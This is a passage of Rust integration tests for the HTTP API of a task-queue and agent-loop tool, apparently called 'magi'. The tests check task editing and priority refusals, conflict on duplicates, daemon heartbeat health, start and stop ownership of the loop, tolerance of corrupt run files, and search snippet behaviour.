16836 for count in [0, 4] {
16837 assert_eq!(
16838 change(count).await.err().unwrap().status,
16839 StatusCode::BAD_REQUEST
16840 );
16841 }
16842 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
16843 let claim = q.claim(&t.id).unwrap();
16844 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
16845 drop(claim);
16846 for status in [
16847 TaskStatus::Running,
16848 TaskStatus::Done,
16849 TaskStatus::Failed,
16850 TaskStatus::Blocked,
16851 TaskStatus::Parked,
16852 ] {
16853 let mut stored = q.get(&t.id).unwrap();
16854 stored.status = status;
16855 q.put(&mut stored).unwrap();
16856 assert_eq!(
16857 change(1).await.err().unwrap().status,
16858 StatusCode::BAD_REQUEST
16859 );
16860 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
16861 }
16862 }
16863
16864 #[tokio::test]
16865 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
16866 let f = Fixture::start().await;
16867 let queue = f.queue();
16868 let mut task = Task::new(
16869 "in flight".to_owned(),
16870 "x".to_owned(),
16871 PathBuf::from("/repo/magi"),
16872 Source::Human,
16873 );
16874 task.start("20260902-140502-bbbb".to_owned());
16875 queue.put(&mut task).expect("file the task");
16876
16877 let res = f
16878 .post(
16879 &format!("/api/queue/{}/priority", task.id),
16880 Some(r#"{"priority":9}"#),
16881 )
16882 .await;
16883 assert_eq!(res.status, 400, "{}", res.body);
16884 assert!(
16885 res.json()["error"]
16886 .as_str()
16887 .is_some_and(|e| e.contains("running")),
16888 "{}",
16889 res.body
16890 );
16891 assert_eq!(
16892 queue.get(&task.id).expect("reload").priority,
16893 0,
16894 "the refused write must not partially apply"
16895 );
16896 }
16897
16898 #[tokio::test]
16899 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
16900 let f = Fixture::start().await;
16901 let queue = f.queue();
16902 let mut task = Task::new(
16903 "old title".to_owned(),
16904 "old instruction".to_owned(),
16905 PathBuf::from("/repo/magi"),
16906 Source::Agent {
16907 run: "20260101-000000-beef".to_owned(),
16908 node: "implement".to_owned(),
16909 },
16910 );
16911 task.runs.push("20260101-000000-beef".to_owned());
16912 queue.put(&mut task).expect("file the task");
16913 let created_at = task.created_at;
16914
16915 let edited = f
16916 .post(
16917 &format!("/api/queue/{}/edit", task.id),
16918 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
16919 )
16920 .await;
16921 assert_eq!(edited.status, 200, "{}", edited.body);
16922 let body = edited.json();
16923 assert_eq!(body["title"], "new title");
16924 assert_eq!(body["instruction"], "new instruction");
16925 assert_eq!(body["id"], task.id, "editing must not mint a new id");
16926 assert_eq!(body["created_at"], created_at.to_string());
16927 assert_eq!(
16928 body["source"]["kind"], "agent",
16929 "editing a task an agent filed must not turn it human: {body}"
16930 );
16931 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
16932
16933 let reloaded = queue.get(&task.id).expect("reload");
16934 assert_eq!(reloaded.title, "new title");
16935 assert_eq!(reloaded.instruction, "new instruction");
16936 }
16937
16938 #[tokio::test]
16939 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
16940 let tmp = TempDir::new().expect("tempdir");
16943 let repo = tmp.path().join("repo");
16944 std::fs::create_dir_all(&repo).expect("repo dir");
16945 let judge = MOCK_AGENT_TOML.replace(
16946 "printf ok",
16947 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
16948 );
16949 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
16950 let f = Fixture::with_repo(repo.clone()).await;
16951 let queue = f.queue();
16952 let mut owner = Task::new(
16953 "owner".to_owned(),
16954 "review it".to_owned(),
16955 repo.clone(),
16956 Source::Human,
16957 );
16958 owner.review_branch = Some("magi/ab12/A".to_owned());
16959 queue.put(&mut owner).expect("file the owner");
16960 let mut task = Task::new(
16961 "draft".to_owned(),
16962 "old".to_owned(),
16963 repo.clone(),
16964 Source::Human,
16965 );
16966 queue.put(&mut task).expect("file the draft");
16967 let url = format!("/api/queue/{}/edit", task.id);
16968
16969 let refused = f
16970 .post(
16971 &url,
16972 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
16973 )
16974 .await;
16975 assert_eq!(refused.status, 409, "{}", refused.body);
16976 let msg = refused.json()["error"]
16977 .as_str()
16978 .unwrap_or_default()
16979 .to_owned();
16980 assert!(
16981 msg.contains("magi/ab12/A") && msg.contains("force"),
16982 "{msg}"
16983 );
16984 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
16985
16986 let forced = f
16987 .post(
16988 &url,
16989 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
16990 )
16991 .await;
16992 assert_eq!(forced.status, 200, "{}", forced.body);
16993 }
16994
16995 #[tokio::test]
16996 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
16997 let f = Fixture::start().await;
16998 let queue = f.queue();
16999 let mut task = Task::new(
17000 "in flight".to_owned(),
17001 "do not touch".to_owned(),
17002 PathBuf::from("/repo/magi"),
17003 Source::Human,
17004 );
17005 task.start("20260902-140502-bbbb".to_owned());
17006 queue.put(&mut task).expect("file the task");
17007
17008 let res = f
17009 .post(
17010 &format!("/api/queue/{}/edit", task.id),
17011 Some(r#"{"title":"x","instruction":"y"}"#),
17012 )
17013 .await;
17014 assert_eq!(res.status, 400, "{}", res.body);
17015 assert!(
17016 res.json()["error"]
17017 .as_str()
17018 .is_some_and(|e| e.contains("running")),
17019 "{}",
17020 res.body
17021 );
17022 assert_eq!(
17023 queue.get(&task.id).expect("reload").instruction,
17024 "do not touch",
17025 "the refused edit must not change the file"
17026 );
17027 }
17028
17029 #[tokio::test]
17030 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17031 let f = Fixture::start().await;
17032 let queue = f.queue();
17033 let mut task = Task::new(
17034 "busy".to_owned(),
17035 "Running right now".to_owned(),
17036 PathBuf::from("/repo/magi"),
17037 Source::Human,
17038 );
17039 queue.put(&mut task).expect("file the task");
17040 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17041
17042 let priority = f
17043 .post(
17044 &format!("/api/queue/{}/priority", task.id),
17045 Some(r#"{"priority":9}"#),
17046 )
17047 .await;
17048 assert_eq!(priority.status, 409, "{}", priority.body);
17049
17050 let edit = f
17051 .post(
17052 &format!("/api/queue/{}/edit", task.id),
17053 Some(r#"{"title":"x","instruction":"y"}"#),
17054 )
17055 .await;
17056 assert_eq!(edit.status, 409, "{}", edit.body);
17057 }
17058
17059 #[tokio::test]
17060 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17061 let f = Fixture::start().await;
17062 let queue = f.queue();
17063 let mut task = Task::new(
17064 "shipped by hand".to_owned(),
17065 "merged outside the loop".to_owned(),
17066 PathBuf::from("/repo/magi"),
17067 Source::Agent {
17068 run: "20260101-000000-b455".to_owned(),
17069 node: "implement".to_owned(),
17070 },
17071 );
17072 task.runs.push("20260101-000000-b455".to_owned());
17073 task.runs.push("20260101-000000-9af4".to_owned());
17074 queue.put(&mut task).expect("file the task");
17075 let created_at = task.created_at;
17076
17077 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17078 assert_eq!(done.status, 200, "{}", done.body);
17079 assert_eq!(done.json()["status_str"], "done");
17080
17081 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17082 assert_eq!(
17083 reloaded.runs,
17084 ["20260101-000000-b455", "20260101-000000-9af4"]
17085 );
17086 assert_eq!(
17087 reloaded.source,
17088 Source::Agent {
17089 run: "20260101-000000-b455".to_owned(),
17090 node: "implement".to_owned(),
17091 }
17092 );
17093 assert_eq!(reloaded.created_at, created_at);
17094 }
17095
17096 #[tokio::test]
17097 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17098 let f = Fixture::start().await;
17103 let queue = f.queue();
17104 let mut task = Task::new(
17105 "landed while held".to_owned(),
17106 "x".to_owned(),
17107 PathBuf::from("/repo/magi"),
17108 Source::Human,
17109 );
17110 task.hold_manual(Some("waiting on 3ed9".to_owned()));
17111 queue.put(&mut task).expect("file the held task");
17112
17113 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17114 assert_eq!(done.status, 200, "{}", done.body);
17115 assert_eq!(done.json()["status_str"], "done");
17116 assert!(
17117 done.json()["hold_reason"].is_null(),
17118 "a done task cannot still be waiting on something: {}",
17119 done.body
17120 );
17121 }
17122
17123 #[tokio::test]
17124 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17125 let f = Fixture::start().await;
17130 let queue = f.queue();
17131 let runs = f.runs();
17132 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17133 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17137
17138 let mut task = Task::new(
17139 "landed by hand".to_owned(),
17140 "x".to_owned(),
17141 PathBuf::from("/repo/magi"),
17142 Source::Human,
17143 );
17144 task.runs.push("20260101-000000-doa1".to_owned());
17145 task.runs.push("20260101-000000-doa2".to_owned());
17146 queue.put(&mut task).expect("file the task");
17147
17148 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17149 assert_eq!(done.status, 200, "{}", done.body);
17150
17151 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17152 .expect("run still on disk under this fixture's own home");
17153 assert_eq!(
17154 reloaded_run.status,
17155 RunStatus::Superseded,
17156 "closing the task by hand must relabel the earlier blocked attempt exactly \
17157 like the loop's own settle path does"
17158 );
17159 }
17160
17161 #[tokio::test]
17162 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17163 let f = Fixture::start().await;
17168 let queue = f.queue();
17169 let runs = f.runs();
17170 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17171 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17172
17173 let mut task = Task::new(
17174 "closed with nothing actually landed".to_owned(),
17175 "x".to_owned(),
17176 PathBuf::from("/repo/magi"),
17177 Source::Human,
17178 );
17179 task.runs.push("20260101-000000-dob1".to_owned());
17180 task.runs.push("20260101-000000-dob2".to_owned());
17181 queue.put(&mut task).expect("file the task");
17182
17183 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17184 assert_eq!(done.status, 200, "{}", done.body);
17185
17186 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17187 .expect("run still on disk under this fixture's own home");
17188 assert_eq!(
17189 reloaded_run.status,
17190 RunStatus::Blocked,
17191 "the last recorded attempt never landed, so the earlier one must not be \
17192 relabelled as superseded by it"
17193 );
17194 }
17195
17196 #[tokio::test]
17197 async fn unknown_ids_are_json_not_found_on_both_stores() {
17198 let f = Fixture::start().await;
17199
17200 let run = f.get("/api/runs/nosuchrun").await;
17201 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17202
17203 assert_eq!(run.status, 404);
17204 assert_eq!(task.status, 404);
17205 assert!(
17206 run.json()["error"]
17207 .as_str()
17208 .is_some_and(|e| e.contains("run")),
17209 "the error names what was not found: {}",
17210 run.body
17211 );
17212 assert!(
17213 task.json()["error"]
17214 .as_str()
17215 .is_some_and(|e| e.contains("task")),
17216 "the error names what was not found: {}",
17217 task.body
17218 );
17219 }
17220
17221 #[tokio::test]
17222 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17223 let f = Fixture::start().await;
17224
17225 let missing = f.get("/api/health").await.json();
17226 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17227
17228 write_daemon(
17229 f.home.path(),
17230 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17231 );
17232 let stale = f.get("/api/health").await.json();
17233 assert_eq!(
17234 stale["daemon"]["running"], false,
17235 "a minute without a heartbeat is a dead daemon, not a busy one"
17236 );
17237 assert!(
17238 stale["daemon"]["stale_for_secs"]
17239 .as_i64()
17240 .is_some_and(|s| s >= 55),
17241 "staleness is reported so the UI can say how long: {stale}"
17242 );
17243
17244 write_daemon(f.home.path(), Timestamp::now());
17245 let fresh = f.get("/api/health").await.json();
17246 assert_eq!(fresh["daemon"]["running"], true);
17247 assert_eq!(fresh["daemon"]["idle"], false);
17248 assert_eq!(fresh["daemon"]["pid"], 4242);
17249 assert_eq!(fresh["daemon"]["completed"], 7);
17250 assert_eq!(
17251 fresh["daemon"]["current"][0]["task"],
17252 "20260902-140501-aaaa"
17253 );
17254 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17255 }
17256
17257 #[tokio::test]
17258 async fn the_loop_is_not_running_until_something_starts_it() {
17259 let f = Fixture::start().await;
17260
17261 let view = f.get("/api/loop").await.json();
17262 assert_eq!(view["running"], false);
17263 assert_eq!(
17264 view["owned"], false,
17265 "nobody owns a loop that does not exist: {view}"
17266 );
17267 assert_eq!(view["stopping"], false);
17268 assert_eq!(view["last_error"], Value::Null);
17269 assert_eq!(view["daemon"]["running"], false);
17270 assert_eq!(
17271 view["repo"], "/repo/magi",
17272 "the repository a start would use, named before it is started"
17273 );
17274 }
17275
17276 #[tokio::test]
17277 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17278 let f = Fixture::start().await;
17279
17280 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17281 assert_eq!(res.status, 200, "{}", res.body);
17282 let view = res.json();
17283 assert_eq!(view["running"], true);
17284 assert_eq!(
17285 view["owned"], true,
17286 "the loop the UI started is the UI's own to stop: {view}"
17287 );
17288 assert_eq!(
17289 view["merge"],
17290 Value::Null,
17291 "no override was given, so each repository's own config decides"
17292 );
17293
17294 let health = f.get("/api/health").await.json();
17298 assert_eq!(health["loop"]["running"], true, "{health}");
17299 assert_eq!(health["loop"]["owned"], true, "{health}");
17300
17301 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17302 }
17303
17304 #[tokio::test]
17305 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17306 let f = Fixture::start().await;
17307 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17308 assert_eq!(first.status, 200, "{}", first.body);
17309
17310 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17311 assert_eq!(
17312 again.status, 409,
17313 "two loops on one queue race for the same claims: {}",
17314 again.body
17315 );
17316 assert!(
17317 again.json()["error"]
17318 .as_str()
17319 .is_some_and(|e| e.contains("already running the loop")),
17320 "the refusal has to say why: {}",
17321 again.body
17322 );
17323 assert_eq!(
17324 f.get("/api/loop").await.json()["running"],
17325 true,
17326 "and the loop that was already running is untouched by it"
17327 );
17328
17329 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17330 }
17331
17332 #[tokio::test]
17333 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17334 let f = Fixture::start().await;
17335 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17336
17337 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17338 assert_eq!(
17339 res.status, 200,
17340 "the answer must not wait for the loop: a run in flight is tens of \
17341 minutes and the operator is holding a phone: {}",
17342 res.body
17343 );
17344
17345 let view = settled(&f, |v| v["running"] == false).await;
17346 assert_eq!(view["owned"], false);
17347 assert_eq!(
17348 view["stopping"], false,
17349 "a loop that has stopped is not still stopping: {view}"
17350 );
17351 assert_eq!(
17352 view["last_error"],
17353 Value::Null,
17354 "a loop that was asked to stop did not fail: {view}"
17355 );
17356
17357 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17360 assert_eq!(twice.status, 200, "{}", twice.body);
17361 }
17362
17363 #[tokio::test]
17364 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17365 let f = Fixture::start().await;
17366 write_daemon(f.home.path(), Timestamp::now());
17369
17370 let view = f.get("/api/loop").await.json();
17371 assert_eq!(view["running"], false, "not in this process: {view}");
17372 assert_eq!(view["owned"], false, "and not this process's to control");
17373 assert_eq!(
17374 view["daemon"]["running"], true,
17375 "but a loop is alive somewhere, which is what the UI must say"
17376 );
17377 assert_eq!(view["daemon"]["pid"], 4242);
17378
17379 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17380 let res = f.post("/api/loop", Some(body)).await;
17381 assert_eq!(
17382 res.status, 409,
17383 "neither button may pretend to work on someone else's loop: {}",
17384 res.body
17385 );
17386 assert!(
17387 res.json()["error"]
17388 .as_str()
17389 .is_some_and(|e| e.contains("4242")),
17390 "the refusal has to name the process the operator must go to: {}",
17391 res.body
17392 );
17393 }
17394 assert_eq!(
17395 f.get("/api/loop").await.json()["running"],
17396 false,
17397 "and the refusal started nothing"
17398 );
17399 }
17400
17401 #[tokio::test]
17402 async fn a_stale_status_file_is_not_a_foreign_owner() {
17403 let f = Fixture::start().await;
17404 write_daemon(
17405 f.home.path(),
17406 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17407 );
17408
17409 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17410 assert_eq!(
17411 res.status, 200,
17412 "a daemon killed a minute ago must not lock the loop out of its \
17413 own home for good: {}",
17414 res.body
17415 );
17416 assert_eq!(res.json()["running"], true);
17417
17418 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17419 }
17420
17421 #[tokio::test]
17422 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17423 let f = Fixture::start().await;
17424 let before = f.get("/api/health").await.json()["loop_rev"]
17425 .as_u64()
17426 .expect("a loop revision");
17427
17428 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17429
17430 let after = f.get("/api/health").await.json()["loop_rev"]
17431 .as_u64()
17432 .expect("a loop revision");
17433 assert!(
17434 after > before,
17435 "the loop is in-process state, so this counter is the only thing \
17436 that tells a second device the first one started it: {before} -> \
17437 {after}"
17438 );
17439
17440 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17441 }
17442
17443 #[tokio::test]
17444 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17445 let f = Fixture::with_loop(launch_broken).await;
17446
17447 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17448 assert_eq!(
17449 res.status, 200,
17450 "starting it is not the failure: {}",
17451 res.body
17452 );
17453
17454 let view = settled(&f, |v| v["last_error"].is_string()).await;
17455 assert_eq!(
17456 view["running"], false,
17457 "a loop that died must not read as running, or the operator has \
17458 nothing to press: {view}"
17459 );
17460 assert_eq!(view["owned"], false);
17461 assert!(
17462 view["last_error"]
17463 .as_str()
17464 .is_some_and(|e| e.contains("read-only file system")),
17465 "the phone is where a loop that died at 3am is visible: {view}"
17466 );
17467
17468 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17471 assert_eq!(again.status, 200, "{}", again.body);
17472 assert!(
17473 again.json()["last_error"]
17474 .as_str()
17475 .is_none_or(|e| !e.contains("read-only file system")),
17476 "a fresh start does not keep showing why the last one died: {}",
17477 again.body
17478 );
17479 }
17480
17481 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
17493 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
17494 let home = TempDir::new().expect("temp home");
17495 let runs = home.path().join("runs");
17496 std::fs::create_dir_all(&runs).expect("runs dir");
17497 let ui = Ui::new(
17498 Queue::at(home.path().join("queue")),
17499 Questions::at(home.path().join("questions")),
17500 Talks::at(home.path().join("talks")),
17501 runs,
17502 home.path().to_path_buf(),
17503 PathBuf::from("/repo/magi"),
17504 )
17505 .with_worktrees_root(home.path().join("wt"))
17506 .with_launch(launch_knocking_on_the_way_out);
17507 let looping = ui.looping();
17508 let turns = ui.turns();
17509 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17510 .await
17511 .expect("bind loopback");
17512 let addr = listener.local_addr().expect("local addr");
17513 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
17514 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17515
17516 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
17517 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
17518
17519 let bound = std::sync::Mutex::new(None);
17534 hand_over(
17535 home.path(),
17536 &looping,
17537 &turns,
17538 &|_: &[String]| Duration::from_secs(5),
17539 served,
17540 |_| {
17541 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
17542 let attempt = loop {
17543 match std::net::TcpListener::bind(addr) {
17544 Ok(l) => {
17545 drop(l);
17546 break Ok(());
17547 }
17548 Err(e)
17549 if e.kind() == std::io::ErrorKind::AddrInUse
17550 && std::time::Instant::now() < deadline =>
17551 {
17552 std::thread::sleep(std::time::Duration::from_millis(10));
17553 }
17554 Err(e) => break Err(e.to_string()),
17555 }
17556 };
17557 *bound.lock().expect("bound") = Some(attempt);
17558 Ok(1)
17559 },
17560 )
17561 .await
17562 .expect("hand over");
17563
17564 assert_eq!(
17565 *PARK_HEARD.lock().expect("park heard"),
17566 Some(200),
17567 "the deck must answer while the loop is parking"
17568 );
17569 let attempt = bound
17570 .lock()
17571 .expect("bound")
17572 .take()
17573 .expect("the successor was started");
17574 assert!(
17575 attempt.is_ok(),
17576 "and the address must be free by the time it is: {attempt:?}"
17577 );
17578 }
17579
17580 #[tokio::test]
17581 async fn a_newer_daemon_status_file_still_renders() {
17582 let f = Fixture::start().await;
17583 std::fs::write(
17586 f.home.path().join("daemon.json"),
17587 serde_json::json!({
17588 "schema": 2,
17589 "updated_at": Timestamp::now().to_string(),
17590 "idle": true,
17591 "surprise": { "nested": [1, 2, 3] },
17592 })
17593 .to_string(),
17594 )
17595 .expect("write daemon.json");
17596
17597 let health = f.get("/api/health").await;
17598
17599 assert_eq!(health.status, 200);
17600 assert_eq!(health.json()["daemon"]["running"], true);
17601 }
17602
17603 #[tokio::test]
17604 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17605 let f = Fixture::start().await;
17606 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17607 let broken = f.runs().join("20260902-140502-bad");
17608 std::fs::create_dir_all(&broken).expect("run dir");
17609 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17610
17611 let list = f.get("/api/runs").await;
17612 let detail = f.get("/api/runs/20260902-140502-bad").await;
17613
17614 assert_eq!(list.status, 200);
17615 let listed = list.json();
17616 let ids: Vec<&str> = listed
17617 .as_array()
17618 .expect("an array")
17619 .iter()
17620 .map(|r| r["id"].as_str().expect("an id"))
17621 .collect();
17622 assert_eq!(
17623 ids,
17624 vec!["20260902-140501-good"],
17625 "one unreadable run must not cost the operator the whole history"
17626 );
17627 assert_eq!(detail.status, 500);
17628 assert!(
17629 detail.json()["error"]
17630 .as_str()
17631 .is_some_and(|e| e.contains("run.json")),
17632 "the failure names the file to look at: {}",
17633 detail.body
17634 );
17635 let health = f.get("/api/health").await;
17639 assert_eq!(health.json()["runs_unreadable"], 1);
17640 }
17641
17642 #[tokio::test]
17644 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17645 let f = Fixture::start().await;
17646 let runs = f.runs();
17647 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17648 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17649 let path = runs.join("20260902-140502-bbbb").join("run.json");
17652 let mut v: serde_json::Value =
17653 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17654 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17655 std::fs::write(&path, v.to_string()).unwrap();
17656 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17657 std::fs::write(
17658 runs.join("20260902-140503-cccc").join("run.json"),
17659 "{ not json",
17660 )
17661 .unwrap();
17662
17663 let res = f.get("/api/search?scope=runs&q=quokka").await;
17664 assert_eq!(res.status, 200, "{}", res.body);
17665 let v = res.json();
17666 assert_eq!(v["total"], 1, "{v}");
17667 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17668 assert_eq!(v["hits"][0]["field"], "text");
17669 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17670 let parts = v["hits"][0]["snippet"].as_array().unwrap();
17671 assert!(
17672 parts
17673 .iter()
17674 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17675 "{v}"
17676 );
17677 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17678 assert_eq!(
17679 flat, "The Quokka leaks across threads",
17680 "whitespace is collapsed"
17681 );
17682
17683 let both = f
17685 .get("/api/search?scope=runs&q=MOBILE%20quokka")
17686 .await
17687 .json();
17688 assert_eq!(both["total"], 1, "{both}");
17689 let neither = f
17690 .get("/api/search?scope=runs&q=quokka%20zebra")
17691 .await
17692 .json();
17693 assert_eq!(neither["total"], 0, "{neither}");
17694 let stmt = f
17696 .get("/api/search?scope=runs&q=mobile%20first")
17697 .await
17698 .json();
17699 assert_eq!(stmt["total"], 2, "{stmt}");
17700 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17701 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17702 }
17703
17704 #[test]
17705 fn snippet_ignores_terms_longer_than_the_field() {
17706 let terms = ["ok".to_owned(), "elephant".to_owned()];
17707 let parts = snippet_of("ok", &terms);
17708 assert_eq!(
17709 parts,
17710 vec![SnippetPart {
17711 text: "ok".to_owned(),
17712 hit: true
17713 }]
17714 );
17715 }
17716
17717 #[test]
17718 fn snippet_marks_matches_longer_than_the_window() {
17719 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17720 let hit_len = |parts: &[SnippetPart]| -> usize {
17721 parts
17722 .iter()
17723 .filter(|p| p.hit)
17724 .map(|p| p.text.chars().count())
17725 .sum()
17726 };
17727 let total =
17728 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17729
17730 let long = "a".repeat(120);
17731 let parts = snippet_of(&long, std::slice::from_ref(&long));
17732 assert!(hit_len(&parts) > 0, "{parts:?}");
17733 assert!(total(&parts) <= cap);
17734
17735 let ja = "あ".repeat(130);
17736 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17737 assert!(hit_len(&parts) > 0, "{parts:?}");
17738 assert!(total(&parts) <= cap);
17739
17740 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17742 let term = format!("ab{}", "c".repeat(100));
17743 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17744 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17745 assert!(total(&parts) <= cap);
17746
17747 let text = format!("{}z", "a".repeat(119));
17749 let parts = snippet_of(&text, &["a".repeat(120)]);
17750 assert_eq!(hit_len(&parts), 0, "{parts:?}");
17751 }
17752
17753 #[tokio::test]
17754 async fn search_caps_hits_and_snippet_length() {
17755 let f = Fixture::start().await;
17756 let runs = f.runs();
17757 for n in 0..(SEARCH_MAX_HITS + 5) {
17758 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17759 }
17760 let v = f.get("/api/search?scope=runs&q=web").await.json();
17761 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17762 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17763 assert_eq!(v["truncated"], true);
17764 assert!(
17766 v["hits"]
17767 .as_array()
17768 .unwrap()
17769 .iter()
17770 .all(|h| h["run"]["status"] == "merged")
17771 );
17772
17773 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17774 let parts = snippet_of(&long, &["needle".to_owned()]);
17775 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17776 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17777 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17778 }
17779
17780 #[tokio::test]
17781 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17782 let f = Fixture::start().await;
17783 let queue = f.queue();
17784 let mut t = Task::new(
17785 "short title".to_owned(),
17786 "line one\nthe hidden Armadillo detail".to_owned(),
17787 PathBuf::from("/repo/magi"),
17788 Source::Agent {
17789 run: "r1".to_owned(),
17790 node: "chat".to_owned(),
17791 },
17792 );
17793 t.last_error = Some("disk full on /tmp".to_owned());
17794 queue.put(&mut t).expect("file the task");
17795
17796 for (q, want) in [
17797 ("armadillo", 1),
17798 ("disk%20FULL", 1),
17799 ("chat", 1),
17800 ("queued", 1),
17801 ("short%20nothing", 0),
17802 ] {
17803 let v = f
17804 .get(&format!("/api/search?scope=tasks&q={q}"))
17805 .await
17806 .json();
17807 assert_eq!(v["total"], want, "{q}: {v}");
17808 }
17809 for bad in [
17810 "/api/search?scope=tasks&q=",
17811 "/api/search?scope=tasks&q=%20",
17812 "/api/search?scope=chats&q=",
17813 "/api/search?scope=chats&q=%20",
17814 "/api/search?scope=nope&q=a",
17815 "/api/search?q=a",
17816 ] {
17817 assert_eq!(f.get(bad).await.status, 400, "{bad}");
17818 }
17819 }
17820
17821 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17823 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17824 .expect("seat value");
17825 let turns: Vec<serde_json::Value> = turns
17826 .iter()
17827 .map(|(who, body)| {
17828 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17829 })
17830 .collect();
17831 let doc = serde_json::json!({
17832 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17833 "status": status, "turns": turns,
17834 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17835 "seat": seat,
17836 });
17837 let dir = f.home.path().join("talks");
17838 std::fs::create_dir_all(&dir).expect("talks dir");
17839 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17840 }
17841
